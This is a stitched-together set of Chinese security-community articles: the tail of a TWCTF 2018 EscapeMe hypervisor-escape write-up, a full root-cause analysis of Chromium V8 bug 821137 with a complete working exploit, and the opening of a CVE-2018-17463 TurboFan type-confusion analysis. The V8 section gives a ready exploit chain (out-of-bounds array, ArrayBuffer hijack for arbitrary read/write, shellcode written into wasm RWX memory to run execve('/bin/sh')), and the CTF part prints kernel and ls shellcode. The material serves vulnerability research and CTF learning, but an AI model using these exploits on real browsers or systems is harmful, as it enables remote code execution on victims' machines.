如果我们可以伪造MMU表，事情就会迎刃而解。经过一些正确的设置后，我的0x217000映射到了物理地址0x0，即内核代码所在地址。
现在，我们只需要调用 read(0, 0x217000+off, len)来覆盖内核即可。
在模拟器中有一个非常有用的超级调用，它用于将文件读入缓冲区。利用这个调用，我们可以轻松读取flag2.txt。
kernel_sc = asm('''
mov rdi, 0
call sys_load_file
movabs rdi, 0x8040000000
add rdi, rax
mov rsi, 100
call sys_write
ret
sys_write:
mov eax, 0x11
mov rbx, rdi
mov rcx, rsi
mov rdx, 0
vmmcall
ret
sys_load_file:
mov eax, 0x30
mov ebx, 2 /* index 2, the flag2.txt */
mov rcx, rdi /* addr */
mov esi, 100 /* len */
movabs rdx, 0x0
vmmcall
ret
''')
这个阶段的完整脚本可以从[这里](https://github.com/david942j/ctf-writeups/blob/master/twctf-2018/EscapeMe/exp2.py "这里")下载。
Flag2:
TWCTF{ABI_1nc0n51573ncy_l34d5_70_5y573m_d357ruc710n}
**EscapeMe3：掌控世界**
* * *
现在是最后一个阶段，即黑掉模拟器。
为了黑掉模拟器，我们必须搞清楚是否安装了seccomp规则。
**漏洞分析**
* * *
在EscapeMe2中，我们已经能够伪造MMU表，这对于这个阶段也是非常有用的。MMU表上的物理内存记录，实际上就是（在模拟器中）mmap处理过的页面的偏移量，该页面正好位于libc-2.27.so所在页面的前面。因此，通过仔细伪造MMU表，我们就能够访问glibc中的内存。
同时，在seccomp规则中也存在一个漏洞，不过，这是我在后来发现的。实际上，这还得感谢我的强大的工具[seccomp-tools](https://github.com/david942j/seccomp-tools "seccomp-tools")：D
Seccomp-tools的模拟器清楚地表明，如果args[0]&0xff < 7，我们就可以调用所有的系统调用。
接下来的事情就没有什么好说的了，只要黑掉它即可。
**漏洞利用**
* * *
使用伪造MMU表，我们就能访问任意内存，不过，首先要绕过ASLR。为此，可以在libc中读取指针，以泄漏libc的基址和argv的地址。这样，我们就可以在堆栈上编写ROP链了。
我使用ROP链调用mprotect(stack, 0x3000, 7)，并将控制权返回给堆栈上的shellcode。
由于受到seccomp的限制，我们无法启动shell，因为execve之后的系统调用（如open）会被禁止。所以，我决定通过编写ls
shellcode来获取flag3的文件名：
asm('''
/* open('.') */
mov rdi, 0x605000
mov rax, 0x2e /* . */
mov [rdi], rax
mov rax, 2
xor rsi, rsi
cdq
syscall
/* getdents */
mov rdi, rax
mov rax, 0x4e
mov rsi, 0x605000
cdq
mov dh, 0x10
syscall
/* write */
mov rdi, 1
mov rsi, 0x605000
mov rdx, rax
mov rax, 1
syscall
'''))
得到了如下所示的输出：
然后，读取文件flag3-415254a0b8be92e0a976f329ad3331aa6bbea816.txt，从而获得了最终的旗标。
完整的脚本可以从[这里](https://github.com/david942j/ctf-writeups/blob/master/twctf-2018/EscapeMe/exp3.py "这里")下载。
Flag3:
TWCTF{Or1g1n4l_Hyp3rc4ll_15_4_h07b3d_0f_bug5}
**小结**
* * *
这个挑战让我学到了很多关于KVM的知识（虽然它在这个挑战中并不重要），并且逐级设计的逃逸技术，不仅非常强大，并且非常有趣。
接下来，我将写一篇文章，专门为初学者详细讲解KVM的工作原理，所以，请大家耐心等待。
最后，再次感谢[@shift_crops](https://twitter.com/shift_crops
"@shift_crops")让我度过一个愉快的周末：D | 社区文章 |
**作者： 天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/6qyBFmxsUny-s_FB4PemWg>**
最近笔者分析了一个chrome
v8引擎的漏洞chromium821137，虽然这是一个老的漏洞，但是从漏洞分析利用中我们还是可以学习到v8漏洞利用的一些基础知识，对于入门学习浏览器漏洞利用具有较高的研究价值。
### 环境搭建
#### 拉取代码
因为众所周知的原因，拉取v8代码需要使用非常规的方法，具体的搭建过程可以参考文末的链接。环境搭建和拉取旧的commit过程中我遇到的主要的坑是代理的问题，需要使用sock5全局代理，并且在使用谷歌的gclient
sync命令的时候需要在根目录写一个.boto的配置文件才能使之运行时使用配置的代理；另外一个很重要的点是linux要使用ubuntu的镜像（笔者使用的是ubuntu
18.04），使用其他发行版可能会遇到奇奇怪怪意想不到的问题。大家在配置的过程如果遇到问题可以查找是不是上述步骤出现问题。
#### 调试环境搭建
v8调试环境可以使用v8安装目录下的/tools/gdbinit并将它加入根目录下.gdbinit配置里，修改.gdbinit配置
sudo gedit ~/.gdbinit
添加配置（可以配合其他gdb插件如pwndbg使用），
source path/to/gdbinit
使用gdb调试时可以先加载要调试的d8文件，然后设置启动参数
set args --allow-natives-syntax xxx.js
其中xxx.js可以在要调试的地方设置输出点和断点
%DebugPrint(obj) // 输出对象地址
%SystemBreak() // 触发调试中断
在gdb中使用job addr命令可以很清晰的看到addr处的数据结构。
#### 漏洞环境搭建
我们从漏洞的issue链接<https://bugs.chromium.org/p/chromium/issues/detail?id=821137>找到修复的commit链接<https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d>，可以看到漏洞信息、存在漏洞的上一个版本（parent）、diff修复信息和漏洞poc（[test/mjsunit/regress/regress-821137.js](https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d/test/mjsunit/regress/regress-821137.js)）
回退到漏洞存在的commit，分别编译debug和release版。（其中ninja构建系统是非google系的，需要自行安装，可以参考v8环境搭建的链接）
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.relase
ninja -C out.gn/x64.relase d8
### 漏洞分析
我们从poc出发来分析漏洞的原理，poc如下
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
poc主要是定义了一个数组和一个smi（small
int）值，然后调用了一个方法Array.from.call，最后给定义的数组偏移[长度-1]的位置赋值时v8崩溃了。
poc中Array.from.call这个方法需要关注下，Array是一个js数据类型，from是Array类型的一个方法，Array.from整体相当于一个function，这个function又调用了call方法，这是js的一种调用方式Function.prototype.call()，语法是function.call(thisArg,
arg1, arg2,
...)。通过搜索MDN了解到Function.prototype.call()可以使用一个指定的this值和单独给出的一个或多个参数来调用一个函数即Function，而且参数可以是一个参数列表。
凭经验我们可以猜到应该是Array.from方法出现了问题，我们在/v8/src/目录下查找问题代码。（PS:v8的js函数实现方法一般在src目录下，搜索命令中r表示递归查找，R表示查找包含子目录的所有文件，n表示显示出现的行数）
r00t@5n1p3r0010:~$ grep -rRn "array\.from" -r /home/r00t/v8/src/
/home/r00t/v8/src/builtins/builtins-definitions.h:245: /* ES6 #sec-array.from */ \
/home/r00t/v8/src/builtins/builtins-array-gen.cc:1996:// ES #sec-array.from
找到Array.from方法实现的位置和行数/home/r00t/v8/src/builtins/builtins-array-gen.cc:1996://
ES #sec-array.from并跟进。
v8中js原生函数的实现是用`c++`写的，为了在各种cpu架构下做到性能优化的极致，google把这些重载过的`c++`代码实现的js原型函数用汇编器CodeStubAssembler生成了汇编代码。重载过的`c++`代码根据函数名字能大致猜到函数的功能（分析这个漏洞我们可以暂时不把主要精力放在分析这些重载的方法上，当然你要是像lokihardt那样“看一眼函数名字就知道哪有漏洞”当我没说;），其中一些常用的重载方法如下
label 定义和bind绑定的标签
bind 绑定声明的label和代码块，bind绑定的代码块并不以{}作为分割，绑定的是两个bind或者bind到当前函数结束之间的代码
goto 跳转到代码块执行
branch 相当于if的三目运算，即if(flag)? a;b，根据条件flag是否成立跳转到指定的label代码块a或b
我们来分析一下v8的array.from实现，
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// If map_function is not undefined, then ensure it's callable else throw.
//判断arg[1]即mapFn类型是否为undefined、smi、callable，否则报错
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error);
GotoIf(TaggedIsSmi(map_function), &error);
Branch(IsCallable(map_function), &no_error, &error);
BIND(&error);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);
BIND(&no_error);
}
首先判断了arg[1]的类型，我们通过查找MDN得知array.from的函数原型是Array.from(arrayLike[, mapFn[,
thisArg]])，所以这里的arg[1]对应mapFn，同理GetOptionalArgumentValue()得到的其他参数对应方式类似。
//判断[symbol.iterator]方法是否定义
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
//使用自定义的[symbol.iterator]方法
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));//定义Number类型变量index，值为0
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
// Check that the method is callable.
//判断自定义的[symbol.iterator]方法是否是callable类型
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);
BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);
BIND(&next);
}
// Construct the output array with empty length.
//创建length为empty的数组
array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
然后判断array.from的第一个参数是否定义了迭代器方法iterator，若iterator方法非undefined、null使用自定义的迭代器方法，poc中的数组oobArray定义了iterator，会执行BIND(&iterable)中的代码。这里需要关注的一点是在执行自定义的iterator时使用了变量index去记录迭代的次数。在判断完iterator方法是否是callable类型后poc中的代码会执行BIND(&next)处的代码，在next中首先创建了一个长度为0的数组，然后跳转到loop处继续执行。
BIND(&loop)主要是调用CallJS执行了自定义的Array.from(arrayLike[, mapFn[,
thisArg]])中的mapFn方法，返回值存储在thisArg中，并用index记录迭代的次数。
......
BIND(&loop_done);
{
length = index;
Goto(&finished);
}
......
BIND(&finished);
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
iterator执行完成之后会跳转到loop_done处，index的value赋值给length，继续跳转到finished处。在finished处调用了GenerateSetLength设置生成的array的长度，注意这里的第三个参数length.value()实际上是自定义的iterator执行的次数。
继续跟进GenerateSetLength
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
在GenerateSetLength中首先判断了array是否包含fast
elements(具体快元素和字典元素的区别可以查阅参考链接)。poc中oobarray不包含configurable为false的元素是快元素，执行BIND(&fast)的代码。在fast中把GenerateSetLength的第三个参数length转化赋值给length_smi，array的length转化赋值给old_length，然后比较length_smi和old_length的大小，若length_smi小于old_length则进行内存缩减跳转到runtime设置array的length为length_smi。
代码的逻辑看起来似乎没问题，就是对Array.from(arrayLike[, mapFn[,
thisArg]])方法中的arrayLike对象执行自定义的迭代方法index次，创建一个空的array并在执行自定义迭代方法时设置它的长度为index.value，并最后检查根据index.value是否小于array的实际长度来决定设置array的长度为index.value或实际长度。但开发者似乎忽略了一个问题就是迭代方法是我们自己定义的，我们可以在迭代方法中设置Array.from(arrayLike[,
mapFn[,
thisArg]])中arrayLike对象的实际长度；如poc中我们在最后一轮迭代时设置oobArray的实际长度为0，在执行完maxSize次迭代后调用GenerateSetLength，这时oobArray迭代次数index>设置的实际长度0，并不会跳转到runtime设置oobArray的长度为我们设置的实际长度0，这样我们在实际长度为0的oobArray里拥有迭代次数index大小长度的访问权，就造成了越界访问。
patch中修改SmiLessThan为SmiNotEqual，这样在迭代次数>迭代函数中设置的实际长度时也会跳转到runtime执行设置数组的长度为迭代函数中设置的实际长度，就避免了oob的发生。
- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);
### v8数据存储形式
在js中number都是double型的，v8为了节约存储内存和加快性能，实现的时候加了smi（small
int）型。32位系统中smi的范围是31位有符号数，64位smi范围是32位带符号数。大于2^32 v8会用float存储整型。
为了加快垃圾回收的效率需要区分number和指针，v8的做法是使用低位为标志位对它们进行区分。由于32位、64位系统的指针会字节对齐，指针的最低位一定为0，v8利用这一点最低位为1视为指针，最低位为0视为number，smi在32位系统中只有高31位是有效数据位。
### 漏洞利用
#### 总体思路
通过前面的分析我们得知这是一个越界访问漏洞，如果我们想通过这个越界访问漏洞达到任意代码执行的效果，容易想到的一种方式是通过越界访问达到任意地址写，再到劫持控制流进而任意代码执行。
#### 任意地址写
v8中达到任意地址读写的方法一般是控制一个JSArrayBuffer对象，之后的分析我们会看到JSArrayBuffer对象有一个成员域backing_store，backing_store指向初始化JSArrayBuffer时用户申请大小的堆，如果我们控制了一个JSArrayBuffer相当于一个指针和指针的内容可以同时改写。这样我们改写backing_store读取控制的JSArrayBuffer的内容就是任意地址读；我们改写backing_store修改控制的JSArrayBuffer的内容就是任意地址写。
#### 获得可控JSArrayBuffer
接下来的问题是如何得到可控的JSArrayBuffer对象，因为我们最后的目的是使得JSArrayBuffer的backing_store指针和指针的内容可写，所以这里需要JSArrayBuffer落到一个释放的oobArray里，这一步可以通过gc实现。触发gc可以通过删除对象引用实现，需要注意的一点是为了避免oobArray被gc完全回收，在最后一轮迭代后要设置oobArray.length为大于0的数如1。
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/
var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;
function objGen(tag){
this.leak = 0x1234;
this.tag = tag;
}
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
bufArray.push(new ArrayBuffer(0xbeef));
objArray.push(new objGen(0xdead));
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC
#### 信息泄露
gc触发之后某个JSArrayBuffer会落在某个oobArray里，下一步就是确定JSArrayBuffer对象和用于泄露信息的objGen的位置。这里可以通过搜索自定义的标志位0xbeef和0xdead实现，
for(let i = 0; i < maxSize; i++){
let val = dt.f2i(oobArray[i]);
if(0xbeef00000000===val){
offsetBuf = i-3;
console.log("buf offset: " + offsetBuf);
}
if(0xdead00000000===val){
offsetObjLeak = i-1;
console.log("objGen.leak offset: " + offsetObjLeak);
break;
}
}
其中JSArrayBuffer和objGen在内存中的存储如下
DebugPrint: 0x155d775640a9: [JSArray]
- map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x37429d985539 <JSArray[0]>
- elements: 0x155d775640c9 <FixedArray[3]> [PACKED_ELEMENTS]
- length: 3
- properties: 0x1c4546382251 <FixedArray[0]> {
#length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x155d775640c9 <FixedArray[3]> {
0: 0x317427c912b1 <JSArray[8224]>
1: 0x317427c91269 <JSArray[1]>
2: 0x317427c91239 <JSArray[1]>
}
pwndbg> job 0x317427c91269
0x317427c91269: [JSArray]
- map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x37429d985539 <JSArray[0]>
- elements: 0x155d77563fb9 <FixedArray[17]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x1c4546382251 <FixedArray[0]> {
#length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x155d77563fb9 <FixedArray[17]> {
0: 0x155d77563ec9 <objGen map = 0x27e8a970d519>
1-16: 0x1c4546382321 <the_hole>
}
pwndbg> x/10xg 0x155d77563ec9-1
0x155d77563ec8: 0x000027e8a970d519 0x00001c4546382251
0x155d77563ed8: 0x00001c4546382251 0x0000123400000000
0x155d77563ee8: 0x0000dead00000000 //flag 0x0000282d394823b9
0x155d77563ef8: 0x0000282d394823b9 0x0000282d394823b9
0x155d77563f08: 0x0000282d394823b9 0x0000282d394823b9
pwndbg> job 0x317427c91239
0x317427c91239: [JSArray]
- map: 0x27e8a9702729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x37429d985539 <JSArray[0]>
- elements: 0x155d77563d29 <FixedArray[17]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x1c4546382251 <FixedArray[0]> {
#length: 0x1c45463cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x155d77563d29 <FixedArray[17]> {
0: 0x155d77563cd9 <ArrayBuffer map = 0x27e8a9703fe9>
1-16: 0x1c4546382321 <the_hole>
}
pwndbg> job 0x155d77563cd9
0x155d77563cd9: [JSArrayBuffer]
- map: 0x27e8a9703fe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x37429d992981 <Object map = 0x27e8a9704041>
- elements: 0x1c4546382251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55cf2f44a130
- byte_length: 48879
- neuterable
- properties: 0x1c4546382251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
pwndbg> x/10xg 0x155d77563cd9-1
0x155d77563cd8: 0x000027e8a9703fe9 0x00001c4546382251
0x155d77563ce8: 0x00001c4546382251 0x0000beef00000000 //flag
0x155d77563cf8: 0x000055cf2f44a130 0x000055cf2f44a130
0x155d77563d08: 0x000000000000beef 0x0000000000000004
0x155d77563d18: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x55cf2f44a130-0x10 //backing_store指向内存区，chunk size=0xbf01，申请0xbeef，字节对齐后0xbef0+0x11
0x55cf2f44a120: 0x0000000000000000 0x000000000000bf01
0x55cf2f44a130: 0x0000000000000000 0x0000000000000000
0x55cf2f44a140: 0x0000000000000000 0x0000000000000000
0x55cf2f44a150: 0x0000000000000000 0x0000000000000000
0x55cf2f44a160: 0x0000000000000000 0x0000000000000000
#### 利用wasm执行任意代码
搜索得到可控的JSArrayBuffer对象后就获得了任意地址读写的能力，任意代码执行可以通过堆利用中常规的构造unsorted
bin泄露libc，进而修改malloc_hook劫持控制流；对于v8也可以通过wasm获得一块rwx的内存，把shellcode写进这块内存再调用wasm的接口就可以执行shellcode了。
我们实例化一个wasm的对象funcAsm，通过读取前面控制的JSArrayBuffer的内容可以得到funcAsm的地址。funcAsm实际上是一个JSFunction类型的对象，实际执行的代码位于一块rwx的内存中，通过任意地址写修改这块rwx内存的内容再调用funcAsm就可以执行任意代码了。
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
var addressFasm = addressOf(funcAsm);
不同版本的v8中这块rwx的内存位置可能不同，在这个版本中调试发现位于wasmInstance.exports.main->shared_info->code->code+0x70的位置。
sharedInfo: 33498958838225
codeAddr: 52817528690241
memoryRWX: 0x00002dd1ea0ae000
0x1e77958abae1 <JSFunction 0 (sfi = 0x1e77958ab9d1)>
pwndbg> x/20xg 0x30098A091641-1
0x30098a091640: 0x00003556529828e1 0x00001e77958ab781
0x30098a091650: 0x00003a9562c02251 0x00003a9562c02661
0x30098a091660: 0x00001e77958ab799 0x0000049000000043
0x30098a091670: 0x000000000000002c 0xffffffff00000000
0x30098a091680: 0xffffffff00000000 0x0000000000000000
0x30098a091690: 0x0000000000000000 0x0000000000000000
0x30098a0916a0: 0xbe485756e5894855 0x00005556054ee6f0
0x30098a0916b0: 0x2dd1ea0ae000ba49 //rwx 0xe0c148d2ff410000
0x30098a0916c0: 0x0008c25de58b4820 0x00000001001f0f90
0x30098a0916d0: 0x0000001d00000003 0xffffffff0fffffff
pwndbg> vmmap 0x00002dd1ea0ae000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x2dd1ea0ae000 0x2dd1ea0af000 rwxp 1000 0
### 完整exp
代码来源<https://www.sunxiaokong.xyz/2020-01-16/lzx-roll-a-d8/>
var isdebug=1;
function dp(...obj){
if(isdebug){
for(let i=0;obj[i];i++){
%DebugPrint(obj[i]);
}
}
%SystemBreak();
}
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var dt = new typeConvert();
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/
var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;
function objGen(tag){
this.leak = 0x1234;
this.tag = tag;
}
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
bufArray.push(new ArrayBuffer(0xbeef));
objArray.push(new objGen(0xdead));
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
/*------search a ArrayBuffer which could be controlled by oobArray-------*/
var offsetBuf; //target offset of oobArray
var indexBuf; //target offset in bufArray
//dp(oobArray,objArray,bufArray);
for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC
//search obj&JSArray offset
for(let i = 0; i < maxSize; i++){
let val = dt.f2i(oobArray[i]);
if(0xbeef00000000===val){
offsetBuf = i-3;
console.log("buf offset: " + offsetBuf);
}
if(0xdead00000000===val){
offsetObjLeak = i-1;
console.log("objGen.leak offset: " + offsetObjLeak);
break;
}
}
//dp(oobArray,objArray,bufArray);
function addressOf(target){
objArray[0].leak = target;
return dt.f2i(oobArray[offsetObjLeak]);
}
/*---------------------arbitrary address read / write--------------------*/
// arbitrary address write
var dtView = new DataView(bufArray[0]);
function write64(addr, value){
oobArray[offsetBuf+4] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}
// arbitrary address read
function read64(addr, str=false){
oobArray[offsetBuf+4] = dt.i2f(addr);
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = ''
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--){
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1]
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};
}
/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
//dp(funcAsm);
var addressFasm = addressOf(funcAsm);
console.log("addressFasm: "+addressFasm);
var sharedInfo = read64(addressFasm+0x18-0x1);
console.log("sharedInfo: "+sharedInfo);
var codeAddr = read64(sharedInfo+0x8-0x1);
console.log("codeAddr: "+codeAddr);
var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000);
memoryRWX = Math.floor(memoryRWX);
console.log("memoryRWX: "+hex(memoryRWX));
//dp(funcAsm);
//sys_execve('/bin/sh')
var shellcode = [
'2fbb485299583b6a',
'5368732f6e69622f',
'050f5e5457525f54'
];
//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
write64(memoryRWX+offsetMem, x);
offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();
### 总结
这篇文章分析了chromium821137漏洞的原理，介绍了v8的一些基础数据结构，并通过chromium821137学习了v8利用的基础知识，希望读者通过阅读调试能有所收获。
### 参考链接
1. <https://bugs.chromium.org/p/chromium/issues/detail?id=821137>
2. <https://www.cnblogs.com/snip3r/p/12290133.html>
3. <https://blog.crimx.com/2018/11/25/v8-fast-properties/>
4. <https://zhuanlan.zhihu.com/p/28780798>
5. <http://www.jayconrod.com/posts/55/a-tour-of-v8-garbage-collection>
6. <https://www.sunxiaokong.xyz/2020-01-16/lzx-roll-a-d8/>
* * * | 社区文章 |
该漏洞是由于对JSCreateObject操作的side-effect判断存在错误，导致优化过程中可消除类型检查节点，从而造成类型混淆，最终可执行任意代码
## 环境搭建
该漏洞于[commit
52a9e67a477bdb67ca893c25c145ef5191976220](https://github.com/v8/v8/commit/52a9e67a477bdb67ca893c25c145ef5191976220)，因此可以切换至其上一版本`568979f4d891bafec875fab20f608ff9392f4f29`进行漏洞复现。
可以直接利用如下脚本编译`release`版本
#!/bin/bash
set -Eeuxo pipefail
fetch v8
pushd v8
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
./tools/dev/gm.py x64.release
popd
本文涉及的环境及代码可以从[此处](https://github.com/ret2p4nda/browser-pwn/tree/master/CVE-2018-17463)下载。
## 漏洞原因
### 源码分析
漏洞存在于`src/compiler/js-operator.cc:625`。在此处，代码定义了许多常见`IR`操作的标识，存在问题的是对`JSCreateObject`操作的判断。
#define CACHED_OP_LIST(V) \
... ...
V(CreateObject, Operator::kNoWrite, 1, 1) \
... ...
关于`IR`,是`TurboFan`内部使用的一种基于图的中间表示，基于`Sea-of-Nodes`思想。`TurboFan`通过各节点的的控制依赖（`Control dependence`）、数据依赖（`Data
dependence`）和操作依赖（`Effect
dependence`）构建`IR`，并通过多次运行收集的类型信息进行推断优化（`speculate`）。
而此处定义的`IR`操作标识，标识在`CreateObject`操作过程中不存在可见的副作用（`side-effects`），即无需记录到影响链(`effect chain`)中去。
关于标志的枚举定义在`src/compiler/operator.h:28`
// Properties inform the operator-independent optimizer about legal
// transformations for nodes that have this operator.
enum Property {
kNoProperties = 0,
kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.
kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).
kNoRead = 1 << 3, // Has no scheduling dependency on Effects
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
... ...
};
而关于`JSCreateObject`这个操作不存在副作用的推断是否正确，还需要进一步分析。
在`Turbofan`的优化过程中，存在一个`generic-lowering`阶段，其作用是将`JS`前缀指令转换为更简单的调用和`stub`调用。在`src/compiler/js-generic-lowering.cc:404`，可以看到在`generic-lowering`中，`Turbofan`把`JSCreateObject`节点用`Builtins`函数`kCreateObjectWithoutProperties`代替，而`kCreateObjectWithoutProperties`就是一个`stub`调用。
void JSGenericLowering::LowerJSCreateObject(Node* node) {
CallDescriptor::Flags flags = FrameStateFlagForCall(node);
Callable callable = Builtins::CallableFor(
isolate(), Builtins::kCreateObjectWithoutProperties);
ReplaceWithStubCall(node, callable, flags);
}
`kCreateObjectWithoutProperties`函数定义在`src/builtins/builtins-object-gen.cc:1101`。
_Ps：这个函数在调试时没有办法直接设置运行断点，需要在函数开头自行添加`DebugBreak()`_
TF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {
Node* const prototype = Parameter(Descriptor::kPrototypeArg);
Node* const context = Parameter(Descriptor::kContext);
Node* const native_context = LoadNativeContext(context);
Label call_runtime(this, Label::kDeferred), prototype_null(this),
prototype_jsreceiver(this);
......
BIND(&call_runtime);
{
Comment("Call Runtime (prototype is not null/jsreceiver)");
[*] Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype,
UndefinedConstant());
Return(result);
}
}
在`kCreateObjectWithoutProperties`的最后调用了`runtime`函数`ObjectCreate`，定义在`src/runtime/runtime-object.cc:316`,在对输入的`Object`中的`prototype`属性进行了简单判断后，调用了`JSObject::ObjectCreate`。
// ES6 section 19.1.2.2 Object.create ( O [ , Properties ] )
// TODO(verwaest): Support the common cases with precached map directly in
// an Object.create stub.
